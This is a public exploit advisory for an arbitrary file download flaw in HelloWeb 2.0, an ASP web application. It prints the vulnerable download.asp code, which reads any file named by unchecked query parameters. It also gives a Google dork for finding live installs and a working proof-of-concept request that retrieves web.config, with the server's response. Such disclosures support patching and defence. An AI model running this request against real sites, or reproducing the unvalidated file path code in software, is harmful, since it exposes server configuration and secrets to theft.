HelloWeb 2.0 – Arbitrary File Download
# Exploit Title: HelloWeb 2.0 - Arbitrary File Download # Date: 2020-07-09 # Vendor Homepage: https://helloweb.co.kr/ # Version: 2.0 [Latest] and previous versions # Exploit Author: bRpsd # Contact Author: cy[at]live.no # Google Dork: inurl:exec/file/download.asp # Type: WebApps / ASP ----------------------------------------------------- Vulnerable code: ###################################################################################################### Dim filepath, filename, root_path, fso, root_folder, attachfile, objStream, strFile filepath = Request.QueryString("filepath") filename = Request.QueryString("filename") filepath = Replace(filepath,"/","\") root_path = server.MapPath("/") Set fso = CreateObject("Scripting.FileSystemObject") Set root_folder = fso.GetFolder(root_path) attachfile = root_path & filepath & "\" & filename Response.Clear Response.ContentType = "application/unknown" Response.AddHeader "Pragma", "no-cache" Response.AddHeader "Expires", "0" Response.AddHeader "Content-Transfer-Encoding", "binary" Response.AddHeader "Content-Disposition","attachment; filename = " & Server.URLPathEncode(filename) Set objStream = Server.CreateObject("ADODB.Stream") objStream.Open objStream.Type = 1 objStream.LoadFromFile attachfile Response.BinaryWrite objStream.Read Response.Flush ###################################################################################################### Vulnerability: Arbitrary File Download Location: http://localhost/exec/file/download.asp Parameters: filename & filepath Proof of concept: GET /exec/file/download.asp?filepath=/&filename=web.config HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 RESPONSE: HTTP/1.1 200 OK Cache-Control: private Pragma: no-cache Content-Type: application/unknown; Charset=utf-8 Expires: 0,Thu, 09 Jul 2020 10:51:14 GMT Server: Content-Transfer-Encoding: binary Content-Disposition: attachment; filename = web.config Set-Cookie: ASPSESSIONIDQQCBDRBB=BEMDPMDDKFHNFKFMJGHIKKKI; path=/ Access-Control-Allow-Origin: * x-xss-protection: 1; mode=block Date: Thu, 09 Jul 2020 10:51:14 GMT Connection: close |